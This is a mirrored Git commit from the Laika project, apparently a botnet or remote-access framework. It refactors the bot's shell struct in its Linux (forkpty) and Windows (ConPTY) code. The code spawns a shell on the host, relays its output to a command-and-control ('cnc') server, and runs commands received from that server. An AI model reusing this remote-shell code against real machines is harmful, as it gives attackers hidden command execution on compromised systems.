1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 13:31:05 +00:00

Bot: small shell.[ch] + native refactor

- `struct sLaika_shell` is now a shared struct, `struct sLaika_RAWshell` is the native implementation with `struct sLaika_shell` as it's first member
This commit is contained in:
CPunch 2022-05-08 01:21:37 -05:00
parent 7d96f3252c
commit 63e36d1ebb
5 changed files with 37 additions and 40 deletions

View File

@ -6,7 +6,9 @@
#define LAIKA_SHELL_TASK_DELTA 50 #define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot; struct sLaika_bot;
struct sLaika_shell; struct sLaika_shell {
uint32_t id;
};
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
@ -15,9 +17,6 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id); struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id);
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell); void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* has to be a function since the struct is different depending on the platform */
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */ /* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell); bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length); bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);

View File

@ -13,20 +13,20 @@
#include "bot.h" #include "bot.h"
#include "shell.h" #include "shell.h"
struct sLaika_shell { struct sLaika_RAWshell {
struct sLaika_shell _shell;
int pid; int pid;
int fd; int fd;
uint32_t id;
}; };
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct winsize ws; struct winsize ws;
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols; ws.ws_col = cols;
ws.ws_row = rows; ws.ws_row = rows;
shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
shell->id = id; shell->_shell.id = id;
if (shell->pid == 0) { if (shell->pid == 0) {
/* child process, clone & run shell */ /* child process, clone & run shell */
@ -36,14 +36,16 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
/* make sure our calls to read() & write() do not block */ /* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, (struct sLaika_shell*)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
} }
return shell; return (struct sLaika_shell*)shell;
} }
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
/* kill the shell */ /* kill the shell */
kill(shell->pid, SIGTERM); kill(shell->pid, SIGTERM);
close(shell->fd); close(shell->fd);
@ -51,39 +53,37 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
laikaM_free(shell); laikaM_free(shell);
} }
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
return shell->id;
}
/* ============================================[[ Shell Handlers ]]============================================= */ /* ============================================[[ Shell Handlers ]]============================================= */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer; struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)); int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
if (rd > 0) { if (rd > 0) {
/* we read some input! send to cnc */ /* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_write(sock, readBuf, rd); laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer); laikaS_endVarPacket(peer);
} else if (rd == -1) { } else if (rd == -1) {
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
return true; /* recoverable, there was no data to read */ return true; /* recoverable, there was no data to read */
/* not EWOULD or EAGAIN, must be an error! so close the shell */ /* not EWOULD or EAGAIN, must be an error! so close the shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, _shell);
return false; return false;
} }
return true; return true;
} }
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer *peer = bot->peer; struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock; struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
size_t nLeft; size_t nLeft;
int nWritten; int nWritten;
@ -93,7 +93,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
/* some error occurred */ /* some error occurred */
if (length == nLeft) { if (length == nLeft) {
/* unrecoverable error */ /* unrecoverable error */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, _shell);
return false; return false;
} else { /* recoverable */ } else { /* recoverable */
break; break;

View File

@ -19,7 +19,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows,
} }
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
uint32_t id = laikaB_getShellID(bot, shell); uint32_t id = shell->id;
/* tell cnc shell is closed */ /* tell cnc shell is closed */
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE); laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);

View File

@ -8,12 +8,12 @@
#include <process.h> #include <process.h>
/* shells are significantly more complex on windows than linux for laika */ /* shells are significantly more complex on windows than linux for laika */
struct sLaika_shell { struct sLaika_RAWshell {
struct sLaika_shell _shell;
HANDLE in, out; HANDLE in, out;
PROCESS_INFORMATION procInfo; PROCESS_INFORMATION procInfo;
STARTUPINFOEX startupInfo; STARTUPINFOEX startupInfo;
HPCON pseudoCon; HPCON pseudoCon;
uint32_t id;
}; };
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows); HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
@ -21,11 +21,11 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {; struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
TCHAR szComspec[MAX_PATH]; TCHAR szComspec[MAX_PATH];
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr; HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_shell)); ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
shell->id = id; shell->_shell.id = id;
/* create pty */ /* create pty */
hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows); hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
@ -73,10 +73,12 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
return NULL; return NULL;
} }
return shell; return (struct sLaika_shell*)shell;
} }
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
/* kill process (it's ok if it fails) */ /* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0); TerminateProcess(shell->procInfo.hProcess, 0);
@ -95,10 +97,6 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
laikaM_free(shell); laikaM_free(shell);
} }
uint32_t laikaB_getShellID(struct sLaika_bot *bot, struct sLaika_shell *shell) {
return shell->id;
}
/* ============================================[[ Shell Handlers ]]============================================= */ /* ============================================[[ Shell Handlers ]]============================================= */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
@ -163,33 +161,35 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr; return hr;
} }
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer; struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock; struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
DWORD rd; DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL); bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
if (readSucc) { if (readSucc) {
/* we read some input! send to cnc */ /* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->id, sizeof(uint32_t)); laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_write(sock, readBuf, rd); laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer); laikaS_endVarPacket(peer);
} else { } else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */ return true; /* recoverable, process is still alive */
/* unrecoverable error */ /* unrecoverable error */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, _shell);
return false; return false;
} }
return true; return true;
} }
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer; struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock; struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
size_t nLeft; size_t nLeft;
DWORD nWritten; DWORD nWritten;
@ -197,7 +197,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
while (nLeft > 0) { while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
/* unrecoverable error */ /* unrecoverable error */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, _shell);
return false; return false;
} }

View File

@ -90,10 +90,8 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
type = laikaS_readByte(&peer->sock); type = laikaS_readByte(&peer->sock);
/* ignore panel clients */ /* ignore panel clients */
if (type == PEER_AUTH) { if (type == PEER_AUTH)
LAIKA_DEBUG("got auth!\n");
return; return;
}
if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL)
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n"); LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n");